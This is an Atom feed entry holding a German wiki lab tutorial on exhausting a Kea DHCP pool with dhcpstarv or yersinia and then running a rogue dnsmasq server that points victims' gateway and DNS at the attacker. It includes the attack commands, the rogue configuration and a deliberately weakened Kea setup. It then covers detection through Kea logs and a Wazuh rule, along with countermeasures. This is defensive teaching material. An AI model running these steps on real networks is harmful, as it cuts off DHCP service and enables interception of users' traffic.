<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=DHCP-Starvation_gegen_Kea_mit_anschlie%C3%9Fendem_Rogue-DHCP</id>
	<title>DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=DHCP-Starvation_gegen_Kea_mit_anschlie%C3%9Fendem_Rogue-DHCP"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DHCP-Starvation_gegen_Kea_mit_anschlie%C3%9Fendem_Rogue-DHCP&amp;action=history"/>
	<updated>2026-07-06T02:59:36Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=DHCP-Starvation_gegen_Kea_mit_anschlie%C3%9Fendem_Rogue-DHCP&amp;diff=71451&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP =  In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=DHCP-Starvation_gegen_Kea_mit_anschlie%C3%9Fendem_Rogue-DHCP&amp;diff=71451&amp;oldid=prev"/>
		<updated>2026-06-26T05:42:38Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP =  In diesem Szenario wird der Lease-Pool eines legitimen &lt;a href=&quot;/index.php/Kea&quot; class=&quot;mw-redirect&quot; title=&quot;Kea&quot;&gt;Kea&lt;/a&gt;-DHCP-Servers durch eine Starvation…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;= DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP =&lt;br /&gt;
&lt;br /&gt;
In diesem Szenario wird der Lease-Pool eines legitimen [[Kea]]-DHCP-Servers durch eine Starvation-Attacke erschöpft. Sobald Kea keine Adressen mehr vergeben kann, übernimmt ein untergeschobener (''rogue'') DHCP-Server auf der Angreifer-Maschine die Adressvergabe und biegt Gateway und DNS auf den Angreifer um. Abschließend wird gezeigt, wie sich der Angriff in den Kea-Logs bzw. im [[Wazuh]]-SIEM nachweisen lässt.&lt;br /&gt;
&lt;br /&gt;
;Warnung: Nur im isolierten Laborsegment ausführen. Eine Starvation-Flut legt im Produktivnetz die DHCP-Versorgung für alle Clients lahm.&lt;br /&gt;
&lt;br /&gt;
== Szenario ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Rolle !! Host !! IP !! Dienst&lt;br /&gt;
|-&lt;br /&gt;
| Legitimer DHCP || kea.it.int || 10.0.10.1 || Kea DHCP4&lt;br /&gt;
|-&lt;br /&gt;
| Angreifer || kali-innen || 10.0.10.101 || dnsmasq (Rogue), dhcpstarv&lt;br /&gt;
|-&lt;br /&gt;
| Opfer || client2XX || per DHCP || frischer Lease-Bezug&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Alle Hosts liegen in derselben Broadcast-Domain (gleiches VLAN). Das ist Pflicht, da DHCPDISCOVER/REQUEST Broadcasts sind und ohne DHCP-Relay nicht über die L3-Grenze hinauskommen.&lt;br /&gt;
&lt;br /&gt;
== Voraussetzungen ==&lt;br /&gt;
&lt;br /&gt;
* Drei Maschinen im selben Segment (Kea-Server, Kali, Opfer-Client)&lt;br /&gt;
* Auf der Kali: &amp;lt;code&amp;gt;dnsmasq&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;dhcpstarv&amp;lt;/code&amp;gt; bzw. &amp;lt;code&amp;gt;yersinia&amp;lt;/code&amp;gt;&lt;br /&gt;
* Schreibzugriff auf die Kea-Konfiguration für die Vorbereitung der Demo&lt;br /&gt;
&lt;br /&gt;
== Phase 1: Aufklärung ==&lt;br /&gt;
&lt;br /&gt;
Vorhandenen DHCP-Server und seinen Pool sichtbar machen:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;nmap --script broadcast-dhcp-discover&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Liefert den antwortenden Server, das angebotene Gateway, den DNS und die Lease-Time — also genau die Werte, die der Rogue-Server später nachbilden bzw. überschreiben soll.&lt;br /&gt;
&lt;br /&gt;
== Phase 2: Kea für die Demo vorbereiten ==&lt;br /&gt;
&lt;br /&gt;
Damit die Starvation im Labor '''deterministisch''' funktioniert, zwei Stellschrauben in der Kea-Konfiguration. Entscheidend ist &amp;lt;code&amp;gt;match-client-id&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
;match-client-id (Default true): Kea identifiziert einen Client primär über die Client-ID (Option 61), erst danach über die MAC. Sendet ein Starvation-Tool über alle Pakete dieselbe Client-ID, ordnet Kea sie demselben Lease zu — die Attacke verpufft. Auf &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt; gesetzt, schlüsselt Kea ausschließlich über die MAC (&amp;lt;code&amp;gt;chaddr&amp;lt;/code&amp;gt;), und jede neue gefälschte MAC erzwingt einen neuen Lease.&lt;br /&gt;
&lt;br /&gt;
;Poolgröße: Für eine schnell sichtbare Demo den Pool klein halten, sonst dauert das Leersaugen unnötig lange.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;Dhcp4&amp;quot;: {&lt;br /&gt;
    &amp;quot;interfaces-config&amp;quot;: { &amp;quot;interfaces&amp;quot;: [ &amp;quot;eth0&amp;quot; ] },&lt;br /&gt;
    &amp;quot;match-client-id&amp;quot;: false,&lt;br /&gt;
    &amp;quot;valid-lifetime&amp;quot;: 600,&lt;br /&gt;
    &amp;quot;subnet4&amp;quot;: [&lt;br /&gt;
      {&lt;br /&gt;
        &amp;quot;id&amp;quot;: 1,&lt;br /&gt;
        &amp;quot;subnet&amp;quot;: &amp;quot;10.0.10.0/24&amp;quot;,&lt;br /&gt;
        &amp;quot;pools&amp;quot;: [ { &amp;quot;pool&amp;quot;: &amp;quot;10.0.10.50 - 10.0.10.60&amp;quot; } ],&lt;br /&gt;
        &amp;quot;option-data&amp;quot;: [&lt;br /&gt;
          { &amp;quot;name&amp;quot;: &amp;quot;routers&amp;quot;,            &amp;quot;data&amp;quot;: &amp;quot;10.0.10.1&amp;quot; },&lt;br /&gt;
          { &amp;quot;name&amp;quot;: &amp;quot;domain-name-servers&amp;quot;, &amp;quot;data&amp;quot;: &amp;quot;10.0.10.1&amp;quot; }&lt;br /&gt;
        ]&lt;br /&gt;
      }&lt;br /&gt;
    ]&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Elf Adressen (.50–.60), niedrige &amp;lt;code&amp;gt;valid-lifetime&amp;lt;/code&amp;gt; — der Pool ist in Sekunden erschöpft.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;systemctl restart kea-dhcp4-server&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Phase 3: Starvation ==&lt;br /&gt;
&lt;br /&gt;
Den Kea-Pool von der Kali aus leersaugen. &amp;lt;code&amp;gt;dhcpstarv&amp;lt;/code&amp;gt; variiert die Quell-MAC und fordert für jede einen neuen Lease an:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;dhcpstarv -i eth0&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Alternativ mit yersinia (interaktiv, DHCP → ''sending DISCOVER packet''):&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;yersinia -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrolle auf dem Kea-Server — der Pool füllt sich mit fremden Leases:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;kea-admin lease-dump&amp;lt;/code&amp;gt; bzw. Blick in die Lease-Datei &amp;lt;code&amp;gt;/var/lib/kea/kea-leases4.csv&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sobald alle elf Adressen vergeben sind, beantwortet Kea neue DISCOVER nicht mehr mit einem Angebot.&lt;br /&gt;
&lt;br /&gt;
== Phase 4: Rogue-DHCP übernimmt ==&lt;br /&gt;
&lt;br /&gt;
Jetzt ist Kea „taub“ und der dnsmasq auf der Kali ist der einzige, der noch Adressen vergibt. Gateway und DNS zeigen auf den Angreifer:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ini&amp;quot;&amp;gt;&lt;br /&gt;
interface=eth0&lt;br /&gt;
bind-interfaces&lt;br /&gt;
dhcp-range=10.0.10.150,10.0.10.200,255.255.255.0,12h&lt;br /&gt;
dhcp-option=3,10.0.10.101&lt;br /&gt;
dhcp-option=6,10.0.10.101&lt;br /&gt;
server=8.8.8.8&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;dhcp-option=3: Gateway → Angreifer (.101)&lt;br /&gt;
;dhcp-option=6: DNS → Angreifer (.101)&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;dnsmasq -C dnsmasq.conf -d&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Der Bereich .150–.200 überschneidet sich nicht mit dem Kea-Pool, damit kein Adresskonflikt die Demo stört.&lt;br /&gt;
&lt;br /&gt;
== Phase 5: Nachweis am Client ==&lt;br /&gt;
&lt;br /&gt;
Auf dem Opfer-Client einen frischen Bezug erzwingen — ein bestehender Lease wird nicht sofort gewechselt:&lt;br /&gt;
&lt;br /&gt;
* Linux: &amp;lt;code&amp;gt;dhclient -r &amp;amp;&amp;amp; dhclient&amp;lt;/code&amp;gt;&lt;br /&gt;
* Windows: &amp;lt;code&amp;gt;ipconfig /release &amp;amp;&amp;amp; ipconfig /renew&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Prüfen, dass Gateway und DNS jetzt auf &amp;lt;code&amp;gt;10.0.10.101&amp;lt;/code&amp;gt; zeigen:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ip route&amp;lt;/code&amp;gt; und &amp;lt;code&amp;gt;resolvectl status&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ab hier läuft der gesamte Traffic des Clients über die Angreifer-Box — Grundlage für [[MitM]], DNS-Spoofing oder einen transparenten Proxy.&lt;br /&gt;
&lt;br /&gt;
== Phase 6: Erkennung im SIEM ==&lt;br /&gt;
&lt;br /&gt;
Kea protokolliert jede Lease-Vergabe. Die Starvation erzeugt eine charakteristische '''Lawine''' an Lease-Events von ständig wechselnden MACs in kurzer Zeit.&lt;br /&gt;
&lt;br /&gt;
Relevante Kea-Logmeldungen:&lt;br /&gt;
&lt;br /&gt;
;DHCP4_LEASE_ADVERT: Antwort auf einen DISCOVER (Angebot)&lt;br /&gt;
;DHCP4_LEASE_ALLOC: Lease nach REQUEST fest vergeben&lt;br /&gt;
;Allocation-Failure: Sobald der Pool voll ist, meldet Kea, dass kein freier Lease mehr vergeben werden kann — diese Zeilen markieren den Moment der erfolgreichen Starvation.&lt;br /&gt;
&lt;br /&gt;
Kea-Logging in eine Datei lenken, die der Wazuh-Agent einliest:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;loggers&amp;quot;: [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;name&amp;quot;: &amp;quot;kea-dhcp4.leases&amp;quot;,&lt;br /&gt;
    &amp;quot;output-options&amp;quot;: [ { &amp;quot;output&amp;quot;: &amp;quot;/var/log/kea/kea-dhcp4.log&amp;quot; } ],&lt;br /&gt;
    &amp;quot;severity&amp;quot;: &amp;quot;INFO&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In der &amp;lt;code&amp;gt;ossec.conf&amp;lt;/code&amp;gt; des Agenten:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;localfile&amp;gt;&lt;br /&gt;
  &amp;lt;log_format&amp;gt;syslog&amp;lt;/log_format&amp;gt;&lt;br /&gt;
  &amp;lt;location&amp;gt;/var/log/kea/kea-dhcp4.log&amp;lt;/location&amp;gt;&lt;br /&gt;
&amp;lt;/localfile&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Erkennungslogik: nicht der einzelne Lease ist verdächtig, sondern die '''Frequenz'''. Eine Wazuh-Regel mit &amp;lt;code&amp;gt;frequency&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;timeframe&amp;lt;/code&amp;gt; schlägt an, wenn in wenigen Sekunden überdurchschnittlich viele Lease-Vergaben auftreten:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;group name=&amp;quot;kea,dhcp,&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;rule id=&amp;quot;100600&amp;quot; level=&amp;quot;3&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;decoded_as&amp;gt;kea&amp;lt;/decoded_as&amp;gt;&lt;br /&gt;
    &amp;lt;match&amp;gt;DHCP4_LEASE_ALLOC&amp;lt;/match&amp;gt;&lt;br /&gt;
    &amp;lt;description&amp;gt;Kea: Lease vergeben&amp;lt;/description&amp;gt;&lt;br /&gt;
  &amp;lt;/rule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;rule id=&amp;quot;100601&amp;quot; level=&amp;quot;10&amp;quot; frequency=&amp;quot;30&amp;quot; timeframe=&amp;quot;20&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;if_matched_sid&amp;gt;100600&amp;lt;/if_matched_sid&amp;gt;&lt;br /&gt;
    &amp;lt;description&amp;gt;Moegliche DHCP-Starvation: ungewoehnlich viele Lease-Vergaben&amp;lt;/description&amp;gt;&lt;br /&gt;
    &amp;lt;mitre&amp;gt;&lt;br /&gt;
      &amp;lt;id&amp;gt;T1498&amp;lt;/id&amp;gt;&lt;br /&gt;
    &amp;lt;/mitre&amp;gt;&lt;br /&gt;
  &amp;lt;/rule&amp;gt;&lt;br /&gt;
&amp;lt;/group&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(Schwellwert &amp;lt;code&amp;gt;frequency&amp;lt;/code&amp;gt;/&amp;lt;code&amp;gt;timeframe&amp;lt;/code&amp;gt; an die Poolgröße und das normale Lease-Aufkommen im Segment anpassen.)&lt;br /&gt;
&lt;br /&gt;
== Gegenmaßnahmen ==&lt;br /&gt;
&lt;br /&gt;
;DHCP Snooping: Auf einem gemanagten Switch der Standardschutz. Nur der Uplink-Port zum echten Kea-Server wird als ''trusted'' markiert; auf allen anderen Ports werden Server-Antworten (OFFER/ACK) verworfen. Damit fällt der Rogue-dnsmasq sofort durch.&lt;br /&gt;
;Port Security: Begrenzung der MAC-Adressen pro Port fängt die MAC-Flut der Starvation ab.&lt;br /&gt;
;Rate-Limiting: DHCP-Pakete pro Port limitieren.&lt;br /&gt;
&lt;br /&gt;
== Siehe auch ==&lt;br /&gt;
&lt;br /&gt;
* [[Kea]]&lt;br /&gt;
* [[Wazuh]]&lt;br /&gt;
* [[Suricata]]&lt;br /&gt;
* [[MitM]]&lt;br /&gt;
* [[DNS-Spoofing]]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>